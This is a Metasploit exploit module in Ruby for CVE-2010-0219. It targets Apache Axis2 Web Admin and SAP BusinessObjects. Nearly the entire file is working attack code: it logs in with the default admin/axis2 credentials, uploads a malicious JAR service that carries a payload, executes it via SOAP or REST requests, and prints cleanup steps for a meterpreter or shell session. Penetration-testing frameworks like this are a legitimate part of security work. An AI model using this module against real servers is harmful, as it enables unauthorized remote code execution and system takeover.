## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)', 'Version' => '$Revision$', 'Description' => %q{ This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP. }, 'References' => [ # General [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ], [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ], [ 'CVE', '2010-0219' ], ], 'Platform' => [ 'java', 'win', 'linux' ], # others? 'Targets' => [ [ 'Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux X86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 30 2010', 'Author' => [ 'Joshua Abraham ' ], 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]), OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2']) ], self.class) register_autofilter_ports([ 8080 ]) end def upload_exec(session,rpath) contents='' name = Rex::Text.rand_text_alpha(8) services_xml = %Q{ #{Rex::Text.rand_text_alphanumeric(50 + rand(50))} metasploit.PayloadServlet } if target.name =~ /Java/ zip = payload.encoded_jar zip.add_file("META-INF/services.xml", services_xml) # We need this class as a wrapper to run in a thread. For some reason # the Payload class is giving illegal access exceptions without it. path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class") fd = File.open(path, "rb") servlet = fd.read(fd.stat.size) fd.close zip.add_file("metasploit/PayloadServlet.class", servlet) contents = zip.pack else end boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; " data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n" data << contents data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => "/#{rpath}/axis2-admin/upload", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, 'Cookie' => "JSESSIONID=#{session}", } }, 25) if (res and res.code == 200) print_status("Successfully uploaded") else print_error("Error uploading #{res}") return end =begin res = send_request_raw({ 'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session}", } }, 25) puts res.body puts res.code if res.code > 200 and res.code < 300 if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) ) dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\" puts dir else if ( a.scan(/catalina\.home<\/th>(.*) <\/td>/i) ) dir = $1 + "/webapps/dswsbobje/WEB-INF/services/" puts dir end end end =end print_status("Polling to see if the service is ready") res_rest = send_request_raw({ 'uri' => "/#{rpath}/services", 'method' => 'GET', }, 25) soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns='http://session.dsws.businessobjects.com/2007/06/01' xsi='http://www.w3.org/2001/XMLSchema-instance' data = '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n\r\n" p = /Please enable REST/ 1.upto 5 do Rex::ThreadSafe.sleep(3) if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil) # Try to execute the payload res = send_request_raw({ 'uri' => "/#{rpath}/services/#{name}", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Length' => data.length, 'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"', 'Content-Type' => 'text/xml; charset=UTF-8', } }, 15) else ## rest res = send_request_raw({ 'uri' => "/#{rpath}/services/#{name}/run", 'method' => 'GET', 'headers' => { 'cookie' => "jsessionid=#{session}", } }, 25) end if res and res.code > 200 and res.code < 300 print_status("") print_status("NOTE: You will need to delete the web service that was uploaded.") print_status("Using meterpreter:") print_status("rm \"webapps/#{rpath}/WEB-INF/services/#{name}.jar\"") print_status("Using the shell:") print_status("cd \"webapps/#{rpath}/WEB-INF/services\"") print_status("del #{name}.jar") print_status("") break end end end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] rpath = datastore['PATH'] success = false srvhdr = '?' begin res = send_request_cgi( { 'method' => 'POST', 'uri' => "/#{rpath}/axis2-admin/login", 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) if not (res.kind_of? Rex::Proto::Http::Response) print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding") end if res.code == 404 print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404") end srvhdr = res.headers['Server'] if res.code == 200 # Could go with res.headers["Server"] =~ /Apache-Coyote/i # as well but that seems like an element someone's more # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) session = $1 end end rescue ::Rex::ConnectionError print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication") end if not success and rpath != '/dswsbobje' rpath = '/dswsbobje' begin res = send_request_cgi( { 'method' => 'POST', 'uri' => "/#{rpath}/axis2-admin/login", 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) if not (res.kind_of? Rex::Proto::Http::Response) print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding") end if res.code == 404 print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404") end srvhdr = res.headers['Server'] if res.code == 200 # Could go with res.headers["Server"] =~ /Apache-Coyote/i # as well but that seems like an element someone's more # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) session = $1 end end rescue ::Rex::ConnectionError print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication") end end if success print_good("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'") upload_exec(session,rpath) else print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'") end end end